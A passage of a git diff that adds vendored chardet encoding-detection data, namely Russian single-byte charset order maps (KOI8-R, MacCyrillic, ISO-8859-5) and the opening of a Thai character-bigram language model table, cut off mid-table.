212: 6, # 'т' + 213: 14, # 'у' + 214: 24, # 'ж' + 215: 10, # 'в' + 216: 17, # 'ь' + 217: 18, # 'ы' + 218: 20, # 'з' + 219: 25, # 'ш' + 220: 30, # 'э' + 221: 29, # 'щ' + 222: 22, # 'ч' + 223: 54, # 'ъ' + 224: 59, # 'Ю' + 225: 37, # 'А' + 226: 44, # 'Б' + 227: 58, # 'Ц' + 228: 41, # 'Д' + 229: 48, # 'Е' + 230: 53, # 'Ф' + 231: 46, # 'Г' + 232: 55, # 'Х' + 233: 42, # 'И' + 234: 60, # 'Й' + 235: 36, # 'К' + 236: 49, # 'Л' + 237: 38, # 'М' + 238: 31, # 'Н' + 239: 34, # 'О' + 240: 35, # 'П' + 241: 43, # 'Я' + 242: 45, # 'Р' + 243: 32, # 'С' + 244: 40, # 'Т' + 245: 52, # 'У' + 246: 56, # 'Ж' + 247: 33, # 'В' + 248: 61, # 'Ь' + 249: 62, # 'Ы' + 250: 51, # 'З' + 251: 57, # 'Ш' + 252: 47, # 'Э' + 253: 63, # 'Щ' + 254: 50, # 'Ч' + 255: 70, # 'Ъ' +} + +KOI8_R_RUSSIAN_MODEL = SingleByteCharSetModel(charset_name='KOI8-R', + language='Russian', + char_to_order_map=KOI8_R_RUSSIAN_CHAR_TO_ORDER, + language_model=RUSSIAN_LANG_MODEL, + typical_positive_ratio=0.976601, + keep_ascii_letters=False, + alphabet='ЁАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюяё') + +MACCYRILLIC_RUSSIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 142, # 'A' + 66: 143, # 'B' + 67: 144, # 'C' + 68: 145, # 'D' + 69: 146, # 'E' + 70: 147, # 'F' + 71: 148, # 'G' + 72: 149, # 'H' + 73: 150, # 'I' + 74: 151, # 'J' + 75: 152, # 'K' + 76: 74, # 'L' + 77: 153, # 'M' + 78: 75, # 'N' + 79: 154, # 'O' + 80: 155, # 'P' + 81: 156, # 'Q' + 82: 157, # 'R' + 83: 158, # 'S' + 84: 159, # 'T' + 85: 160, # 'U' + 86: 161, # 'V' + 87: 162, # 'W' + 88: 163, # 'X' + 89: 164, # 'Y' + 90: 165, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 71, # 'a' + 98: 172, # 'b' + 99: 66, # 'c' + 100: 173, # 'd' + 101: 65, # 'e' + 102: 174, # 'f' + 103: 76, # 'g' + 104: 175, # 'h' + 105: 64, # 'i' + 106: 176, # 'j' + 107: 177, # 'k' + 108: 77, # 'l' + 109: 72, # 'm' + 110: 178, # 'n' + 111: 69, # 'o' + 112: 67, # 'p' + 113: 179, # 'q' + 114: 78, # 'r' + 115: 73, # 's' + 116: 180, # 't' + 117: 181, # 'u' + 118: 79, # 'v' + 119: 182, # 'w' + 120: 183, # 'x' + 121: 184, # 'y' + 122: 185, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 37, # 'А' + 129: 44, # 'Б' + 130: 33, # 'В' + 131: 46, # 'Г' + 132: 41, # 'Д' + 133: 48, # 'Е' + 134: 56, # 'Ж' + 135: 51, # 'З' + 136: 42, # 'И' + 137: 60, # 'Й' + 138: 36, # 'К' + 139: 49, # 'Л' + 140: 38, # 'М' + 141: 31, # 'Н' + 142: 34, # 'О' + 143: 35, # 'П' + 144: 45, # 'Р' + 145: 32, # 'С' + 146: 40, # 'Т' + 147: 52, # 'У' + 148: 53, # 'Ф' + 149: 55, # 'Х' + 150: 58, # 'Ц' + 151: 50, # 'Ч' + 152: 57, # 'Ш' + 153: 63, # 'Щ' + 154: 70, # 'Ъ' + 155: 62, # 'Ы' + 156: 61, # 'Ь' + 157: 47, # 'Э' + 158: 59, # 'Ю' + 159: 43, # 'Я' + 160: 191, # '†' + 161: 192, # '°' + 162: 193, # 'Ґ' + 163: 194, # '£' + 164: 195, # '§' + 165: 196, # '•' + 166: 197, # '¶' + 167: 198, # 'І' + 168: 199, # '®' + 169: 200, # '©' + 170: 201, # '™' + 171: 202, # 'Ђ' + 172: 203, # 'ђ' + 173: 204, # '≠' + 174: 205, # 'Ѓ' + 175: 206, # 'ѓ' + 176: 207, # '∞' + 177: 208, # '±' + 178: 209, # '≤' + 179: 210, # '≥' + 180: 211, # 'і' + 181: 212, # 'µ' + 182: 213, # 'ґ' + 183: 214, # 'Ј' + 184: 215, # 'Є' + 185: 216, # 'є' + 186: 217, # 'Ї' + 187: 218, # 'ї' + 188: 219, # 'Љ' + 189: 220, # 'љ' + 190: 221, # 'Њ' + 191: 222, # 'њ' + 192: 223, # 'ј' + 193: 224, # 'Ѕ' + 194: 225, # '¬' + 195: 226, # '√' + 196: 227, # 'ƒ' + 197: 228, # '≈' + 198: 229, # '∆' + 199: 230, # '«' + 200: 231, # '»' + 201: 232, # '…' + 202: 233, # '\xa0' + 203: 234, # 'Ћ' + 204: 235, # 'ћ' + 205: 236, # 'Ќ' + 206: 237, # 'ќ' + 207: 238, # 'ѕ' + 208: 239, # '–' + 209: 240, # '—' + 210: 241, # '“' + 211: 242, # '”' + 212: 243, # '‘' + 213: 244, # '’' + 214: 245, # '÷' + 215: 246, # '„' + 216: 247, # 'Ў' + 217: 248, # 'ў' + 218: 249, # 'Џ' + 219: 250, # 'џ' + 220: 251, # '№' + 221: 252, # 'Ё' + 222: 68, # 'ё' + 223: 16, # 'я' + 224: 3, # 'а' + 225: 21, # 'б' + 226: 10, # 'в' + 227: 19, # 'г' + 228: 13, # 'д' + 229: 2, # 'е' + 230: 24, # 'ж' + 231: 20, # 'з' + 232: 4, # 'и' + 233: 23, # 'й' + 234: 11, # 'к' + 235: 8, # 'л' + 236: 12, # 'м' + 237: 5, # 'н' + 238: 1, # 'о' + 239: 15, # 'п' + 240: 9, # 'р' + 241: 7, # 'с' + 242: 6, # 'т' + 243: 14, # 'у' + 244: 39, # 'ф' + 245: 26, # 'х' + 246: 28, # 'ц' + 247: 22, # 'ч' + 248: 25, # 'ш' + 249: 29, # 'щ' + 250: 54, # 'ъ' + 251: 18, # 'ы' + 252: 17, # 'ь' + 253: 30, # 'э' + 254: 27, # 'ю' + 255: 255, # '€' +} + +MACCYRILLIC_RUSSIAN_MODEL = SingleByteCharSetModel(charset_name='MacCyrillic', + language='Russian', + char_to_order_map=MACCYRILLIC_RUSSIAN_CHAR_TO_ORDER, + language_model=RUSSIAN_LANG_MODEL, + typical_positive_ratio=0.976601, + keep_ascii_letters=False, + alphabet='ЁАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюяё') + +ISO_8859_5_RUSSIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 142, # 'A' + 66: 143, # 'B' + 67: 144, # 'C' + 68: 145, # 'D' + 69: 146, # 'E' + 70: 147, # 'F' + 71: 148, # 'G' + 72: 149, # 'H' + 73: 150, # 'I' + 74: 151, # 'J' + 75: 152, # 'K' + 76: 74, # 'L' + 77: 153, # 'M' + 78: 75, # 'N' + 79: 154, # 'O' + 80: 155, # 'P' + 81: 156, # 'Q' + 82: 157, # 'R' + 83: 158, # 'S' + 84: 159, # 'T' + 85: 160, # 'U' + 86: 161, # 'V' + 87: 162, # 'W' + 88: 163, # 'X' + 89: 164, # 'Y' + 90: 165, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 71, # 'a' + 98: 172, # 'b' + 99: 66, # 'c' + 100: 173, # 'd' + 101: 65, # 'e' + 102: 174, # 'f' + 103: 76, # 'g' + 104: 175, # 'h' + 105: 64, # 'i' + 106: 176, # 'j' + 107: 177, # 'k' + 108: 77, # 'l' + 109: 72, # 'm' + 110: 178, # 'n' + 111: 69, # 'o' + 112: 67, # 'p' + 113: 179, # 'q' + 114: 78, # 'r' + 115: 73, # 's' + 116: 180, # 't' + 117: 181, # 'u' + 118: 79, # 'v' + 119: 182, # 'w' + 120: 183, # 'x' + 121: 184, # 'y' + 122: 185, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 191, # '\x80' + 129: 192, # '\x81' + 130: 193, # '\x82' + 131: 194, # '\x83' + 132: 195, # '\x84' + 133: 196, # '\x85' + 134: 197, # '\x86' + 135: 198, # '\x87' + 136: 199, # '\x88' + 137: 200, # '\x89' + 138: 201, # '\x8a' + 139: 202, # '\x8b' + 140: 203, # '\x8c' + 141: 204, # '\x8d' + 142: 205, # '\x8e' + 143: 206, # '\x8f' + 144: 207, # '\x90' + 145: 208, # '\x91' + 146: 209, # '\x92' + 147: 210, # '\x93' + 148: 211, # '\x94' + 149: 212, # '\x95' + 150: 213, # '\x96' + 151: 214, # '\x97' + 152: 215, # '\x98' + 153: 216, # '\x99' + 154: 217, # '\x9a' + 155: 218, # '\x9b' + 156: 219, # '\x9c' + 157: 220, # '\x9d' + 158: 221, # '\x9e' + 159: 222, # '\x9f' + 160: 223, # '\xa0' + 161: 224, # 'Ё' + 162: 225, # 'Ђ' + 163: 226, # 'Ѓ' + 164: 227, # 'Є' + 165: 228, # 'Ѕ' + 166: 229, # 'І' + 167: 230, # 'Ї' + 168: 231, # 'Ј' + 169: 232, # 'Љ' + 170: 233, # 'Њ' + 171: 234, # 'Ћ' + 172: 235, # 'Ќ' + 173: 236, # '\xad' + 174: 237, # 'Ў' + 175: 238, # 'Џ' + 176: 37, # 'А' + 177: 44, # 'Б' + 178: 33, # 'В' + 179: 46, # 'Г' + 180: 41, # 'Д' + 181: 48, # 'Е' + 182: 56, # 'Ж' + 183: 51, # 'З' + 184: 42, # 'И' + 185: 60, # 'Й' + 186: 36, # 'К' + 187: 49, # 'Л' + 188: 38, # 'М' + 189: 31, # 'Н' + 190: 34, # 'О' + 191: 35, # 'П' + 192: 45, # 'Р' + 193: 32, # 'С' + 194: 40, # 'Т' + 195: 52, # 'У' + 196: 53, # 'Ф' + 197: 55, # 'Х' + 198: 58, # 'Ц' + 199: 50, # 'Ч' + 200: 57, # 'Ш' + 201: 63, # 'Щ' + 202: 70, # 'Ъ' + 203: 62, # 'Ы' + 204: 61, # 'Ь' + 205: 47, # 'Э' + 206: 59, # 'Ю' + 207: 43, # 'Я' + 208: 3, # 'а' + 209: 21, # 'б' + 210: 10, # 'в' + 211: 19, # 'г' + 212: 13, # 'д' + 213: 2, # 'е' + 214: 24, # 'ж' + 215: 20, # 'з' + 216: 4, # 'и' + 217: 23, # 'й' + 218: 11, # 'к' + 219: 8, # 'л' + 220: 12, # 'м' + 221: 5, # 'н' + 222: 1, # 'о' + 223: 15, # 'п' + 224: 9, # 'р' + 225: 7, # 'с' + 226: 6, # 'т' + 227: 14, # 'у' + 228: 39, # 'ф' + 229: 26, # 'х' + 230: 28, # 'ц' + 231: 22, # 'ч' + 232: 25, # 'ш' + 233: 29, # 'щ' + 234: 54, # 'ъ' + 235: 18, # 'ы' + 236: 17, # 'ь' + 237: 30, # 'э' + 238: 27, # 'ю' + 239: 16, # 'я' + 240: 239, # '№' + 241: 68, # 'ё' + 242: 240, # 'ђ' + 243: 241, # 'ѓ' + 244: 242, # 'є' + 245: 243, # 'ѕ' + 246: 244, # 'і' + 247: 245, # 'ї' + 248: 246, # 'ј' + 249: 247, # 'љ' + 250: 248, # 'њ' + 251: 249, # 'ћ' + 252: 250, # 'ќ' + 253: 251, # '§' + 254: 252, # 'ў' + 255: 255, # 'џ' +} + +ISO_8859_5_RUSSIAN_MODEL = SingleByteCharSetModel(charset_name='ISO-8859-5', + language='Russian', + char_to_order_map=ISO_8859_5_RUSSIAN_CHAR_TO_ORDER, + language_model=RUSSIAN_LANG_MODEL, + typical_positive_ratio=0.976601, + keep_ascii_letters=False, + alphabet='ЁАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюяё') + diff --git a/src/thirdparty/chardet/langthaimodel.py b/src/thirdparty/chardet/langthaimodel.py new file mode 100644 index 0000000000..a1177a47d2 --- /dev/null +++ b/src/thirdparty/chardet/langthaimodel.py @@ -0,0 +1,4383 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from .sbcharsetprober import SingleByteCharSetModel + + +# 3: Positive +# 2: Likely +# 1: Unlikely +# 0: Negative + +THAI_LANG_MODEL = { + 5: { # 'ก' + 5: 2, # 'ก' + 30: 2, # 'ข' + 24: 2, # 'ค' + 8: 2, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 3, # 'ฎ' + 57: 2, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 2, # 'ณ' + 20: 2, # 'ด' + 19: 3, # 'ต' + 44: 0, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 2, # 'น' + 17: 1, # 'บ' + 25: 2, # 'ป' + 39: 1, # 'ผ' + 62: 1, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 2, # 'ม' + 16: 1, # 'ย' + 2: 3, # 'ร' + 61: 2, # 'ฤ' + 15: 3, # 'ล' + 12: 3, # 'ว' + 42: 2, # 'ศ' + 46: 3, # 'ษ' + 18: 2, # 'ส' + 21: 2, # 'ห' + 4: 3, # 'อ' + 63: 1, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 3, # 'ำ' + 23: 3, # 'ิ' + 13: 3, # 'ี' + 40: 0, # 'ึ' + 27: 2, # 'ื' + 32: 2, # 'ุ' + 35: 1, # 'ู' + 11: 2, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 1, # 'ใ' + 33: 2, # 'ไ' + 50: 1, # 'ๆ' + 37: 3, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 30: { # 'ข' + 5: 1, # 'ก' + 30: 0, # 'ข' + 24: 1, # 'ค' + 8: 1, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 2, # 'ณ' + 20: 0, # 'ด' + 19: 2, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 2, # 'น' + 17: 1, # 'บ' + 25: 1, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 2, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 2, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 1, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 2, # 'ี' + 40: 3, # 'ึ' + 27: 1, # 'ื' + 32: 1, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 1, # '็' + 6: 2, # '่' + 7: 3, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 24: { # 'ค' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 2, # 'ค' + 8: 2, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 2, # 'ณ' + 20: 2, # 'ด' + 19: 2, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 0, # 'บ' + 25: 1, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 2, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 3, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 0, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 2, # 'า' + 36: 3, # 'ำ' + 23: 3, # 'ิ' + 13: 2, # 'ี' + 40: 0, # 'ึ' + 27: 3, # 'ื' + 32: 3, # 'ุ' + 35: 2, # 'ู' + 11: 1, # 'เ' + 28: 0, # 'แ' + 41: 3, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 1, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 3, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 8: { # 'ง' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 3, # 'ค' + 8: 2, # 'ง' + 26: 2, # 'จ' + 52: 1, # 'ฉ' + 34: 2, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 2, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 3, # 'ท' + 48: 1, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 2, # 'ป' + 39: 2, # 'ผ' + 62: 1, # 'ฝ' + 31: 2, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 2, # 'ม' + 16: 1, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 2, # 'ว' + 42: 2, # 'ศ' + 46: 1, # 'ษ' + 18: 3, # 'ส' + 21: 3, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 1, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 2, # 'ิ' + 13: 1, # 'ี' + 40: 0, # 'ึ' + 27: 1, # 'ื' + 32: 1, # 'ุ' + 35: 0, # 'ู' + 11: 3, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 3, # 'ๆ' + 37: 0, # '็' + 6: 2, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 26: { # 'จ' + 5: 2, # 'ก' + 30: 1, # 'ข' + 24: 0, # 'ค' + 8: 2, # 'ง' + 26: 3, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 2, # 'ด' + 19: 1, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 1, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 1, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 1, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 3, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 3, # 'ำ' + 23: 2, # 'ิ' + 13: 1, # 'ี' + 40: 3, # 'ึ' + 27: 1, # 'ื' + 32: 3, # 'ุ' + 35: 2, # 'ู' + 11: 1, # 'เ' + 28: 1, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 2, # '่' + 7: 2, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 52: { # 'ฉ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 3, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 3, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 1, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 1, # 'ะ' + 10: 1, # 'ั' + 1: 1, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 1, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 1, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 34: { # 'ช' + 5: 1, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 1, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 1, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 1, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 2, # 'ั' + 1: 3, # 'า' + 36: 1, # 'ำ' + 23: 3, # 'ิ' + 13: 2, # 'ี' + 40: 0, # 'ึ' + 27: 3, # 'ื' + 32: 3, # 'ุ' + 35: 1, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 1, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 51: { # 'ซ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 1, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 0, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 1, # 'ั' + 1: 1, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 2, # 'ี' + 40: 3, # 'ึ' + 27: 2, # 'ื' + 32: 1, # 'ุ' + 35: 1, # 'ู' + 11: 1, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 1, # '็' + 6: 1, # '่' + 7: 2, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 47: { # 'ญ' + 5: 1, # 'ก' + 30: 1, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 3, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 